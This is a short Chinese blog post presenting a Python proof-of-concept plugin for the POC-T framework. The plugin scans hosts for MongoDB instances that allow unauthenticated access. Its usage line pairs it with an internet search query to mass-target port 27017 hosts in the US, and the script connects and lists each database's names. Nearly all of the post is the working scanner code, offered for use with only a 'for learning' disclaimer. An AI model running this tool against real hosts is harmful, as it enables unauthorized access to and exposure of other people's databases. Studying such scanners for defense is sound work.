有事候知識整合起來會發生很大的威力，嘗試著寫了一個poc來測試mongodb的未授權訪問漏洞，發現危害還是很大的。

把指令碼放在https://github.com/Xyntax/POC-T，框架的script目錄下面。指令碼僅供學習：要安裝pymongo 

#!/usr/bin/python
# -*- coding: UTF-8 -*-

"""
moogodb未授權訪問

Usage:
  python POC-T.py -s mongodb-unauth -aZ "port:27017 country:us"

"""


import socket
import sys
import pymongo
from plugin.util import host2IP
from plugin.util import checkPortTcp

def poc(url):
	url = host2IP(url)
	ip = url.split(':')[0]
	try:
		if not checkPortTcp(ip,27017):
			return False
		if testConnect(ip,27017):
			return ip
	except Exception,e:
		return False
	return False

def testConnect(ip,port=27017):
	global dbname
	try:
		conn = pymongo.MongoClient(ip,27017,socketTimeoutMS=3000)
		dbname = conn.database_names()
		#print dbname
		if dbname:
			return True
	except Exception,e:
		return False